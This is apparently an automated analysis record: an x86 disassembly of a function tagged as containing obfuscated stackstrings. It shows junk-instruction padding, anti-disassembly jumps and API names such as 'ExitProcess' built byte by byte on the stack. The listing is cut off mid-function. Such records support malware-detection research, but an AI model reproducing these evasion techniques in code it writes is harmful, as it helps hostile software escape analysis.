Function at 0x10007188
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sbb al, 0xd
add byte [eax], al
pop ebx
push ebx
push ebx
add esp, 4
and ebx, 0x18443
pop ebx
jmp 0x10006e7a
push edx
push edx
add esp, 4
xor edx, 0x5cf7
or edx, 0xd1c0
xor edx, 0x91b9
xor edx, 0xcd8e
pop edx
push ecx
xor ecx, 0xc5a2
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x176da
pop eax
mov dword [ebp - 0x3fc], 0
push edi
sub edi, 0x6cbf
pop edi
push edx
push eax
add esp, 4
add edx, 0xd1d5
xor edx, 0x8611
add edx, 0xd9ab
pop edx
push edx
push ecx
add esp, 4
add edx, 0x10854
or edx, 0x7f35
pop edx
push eax
push ecx
add esp, 4
and eax, 0xb1dd
pop eax
push eax
push eax
add esp, 4
xor eax, 0xb30c
or eax, 0x10e8b
pop eax
push edi
sub edi, 0x6747
xor edi, 0x114a7
xor edi, 0x14865
pop edi
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0xbf4]
mov dword [ebp - 0x15e0], ecx
push ecx
push eax
add esp, 4
or ecx, 0x12117
pop ecx
push eax
sub eax, 0x16488
or eax, 0x18aa
add eax, 0x4268
pop eax
push edi
push ecx
add esp, 4
add edi, 0x15dd0
or edi, 0x10a08
pop edi
mov dword [ebp - 0x2050], 0xffffffff
push eax
push edi
add esp, 4
add eax, 0xb8bd
xor eax, 0x184b5
sub eax, 0x2ba
pop eax
push eax
and eax, 0xcf52
or eax, 0x17a67
jmp 0x10006f96
or eax, 0x3aff
pop eax
mov edx, dword [ebp - 0x3f4]
mov dword [ebp - 0x4fc], edx
jmp 0x10006fba
mov eax, dword [ebp - 0x4fc]
add eax, 1
mov dword [ebp - 0x4fc], eax
push ebx
sub ebx, 0xa224
or ebx, 0x26bd
pop ebx
push ebx
push esi
add esp, 4
add ebx, 0x1202a
sub ebx, 0x40d8
add ebx, 0x126da
pop ebx
push ecx
push esi
add esp, 4
jmp 0x10006feb
pop ecx
mov ecx, dword [ebp - 0x4fc]
sub ecx, dword [ebp - 0x3f4]
cmp ecx, 0xffffffff
jb 0x10007034
push edx
call 0x1000700d
add byte [ebx + edi], dh
xor al, 0x4a
inc esi
cmp bh, byte [edx]
dec esi
inc edx
add esp, 4
and edx, 0x153e1
xor edx, 0x2ec4
call 0x1000702b
add byte [eax*2 + 0x4c3f4d3b], dh
dec eax
dec edi
aaa
add esp, 4
pop edx
jmp 0x10007230
mov dword [ebp - 0xc9c], 7
mov edx, dword [ebp - 0x4fc]
mov dword [ebp - 0xae8], edx
push ebx
or ebx, 0xd8d3
or ebx, 0x132c0
pop ebx
push esi
push eax
add esp, 4
or esi, 0x1de1
xor esi, 0x11be
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x17b0e
xor ebx, 0x3d34
pop ebx
mov eax, dword [ebp - 0x15e0]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xca0], 0
mov ecx, dword [ebp - 0x4fc]
cmp ecx, dword [ebp - 0x15e0]
jne 0x100070b1
mov edx, dword [ebp - 0xca0]
mov dword [ebp - 0x15e8], edx
jmp 0x100071e2
cmp dword [ebp - 0xc9c], 0
jle 0x100071d6
push esi
push edi
add esp, 4
or esi, 0x16be5
jmp 0x100070d1
add esi, 0x11fe8
xor esi, 0x1803a
pop esi
push edi
push esi
add esp, 4
or edi, 0x2cfc
add edi, 0x16c01
pop edi
mov eax, dword [ebp - 0xae8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
je 0x10007172
push ecx
call 0x10007113
add byte [edi + 0x44], al
dec ecx
aaa
dec ebp
inc eax
add esp, 4
jmp 0x1000711f
xor ecx, 0xe9ac
pop ecx
push ecx
push esi
add esp, 4
sub ecx, 0xf3a6
sub ecx, 0x1a84
pop ecx
mov ecx, dword [ebp - 0xae8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xa64]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x1000715a
mov dword [ebp - 0x15e4], 1
jmp 0x10007164
mov dword [ebp - 0x15e4], 0xffffffff
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0xca0], edx
jmp 0x100071d6
push eax
sub eax, 0x124fd
call 0x10007188
add byte [esi + 0x4f], al
aas
dec ebp
inc ecx
dec esp
inc edi
inc ebp
add esp, 4
add eax, 0x16b8b
or eax, 0x11fba
pop eax
push eax
push ecx
add esp, 4
add eax, 0x15bba
pop eax
mov eax, dword [ebp - 0xc9c]
sub eax, 1
mov dword [ebp - 0xc9c], eax
mov ecx, dword [ebp - 0xae8]
add ecx, 1
mov dword [ebp - 0xae8], ecx
mov edx, dword [ebp - 0xa64]
add edx, 1
mov dword [ebp - 0xa64], edx
jmp 0x100070b1
mov eax, dword [ebp - 0xca0]
mov dword [ebp - 0x15e8], eax
cmp dword [ebp - 0x15e8], 0
jne 0x1000722b
push edx
jmp 0x100071f2
jmp 0x100071fb
pop edx
push ebx
or ebx, 0x206b
jmp 0x10007208
pop ebx
push eax
push ecx
add esp, 4
jmp 0x10007216
sub eax, 0xd83f
pop eax
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xae4], ecx
jmp 0x1000726c
jmp 0x10006fab
push edi
push ebx
add esp, 4
xor edi, 0x300b
pop edi
push esi
push ebx
add esp, 4
call 0x10007250
add byte [ebx], dh
dec ebp
inc ebx
dec ebx
inc ebx
xor dh, byte [ebx]
inc edi
add esp, 4
pop esi
push esi
xor esi, 0x7db0
and esi, 0x6537
pop esi
mov dword [ebp - 0xae4], 0
push ecx
push ecx
add esp, 4
or ecx, 0xda4f
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0x8950
sub esi, 0x2acc
pop esi
push esi
or esi, 0xecb3
sub esi, 0x1ddc
and esi, 0xfac5
pop esi
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push ecx
push edi
add esp, 4
jmp 0x100072fc
pop ecx
push edi
or edi, 0x8d09
xor edi, 0xad7f
call 0x1000731a
add byte [ecx + 0x45], al
xor al, 0x40
dec ebx
inc ebx
cmp cl, byte [esi + 0x38]
aas
add esp, 4
xor edi, 0x1486d
pop edi
mov edx, 0x6b
mov word [ebp - 0x1754], dx
mov eax, 0x65
mov word [ebp - 0x1752], ax
mov ecx, 0x72
mov word [ebp - 0x1750], cx
mov edx, 0x6e
mov word [ebp - 0x174e], dx
mov eax, 0x65
mov word [ebp - 0x174c], ax
mov ecx, 0x6c
mov word [ebp - 0x174a], cx
mov edx, 0x33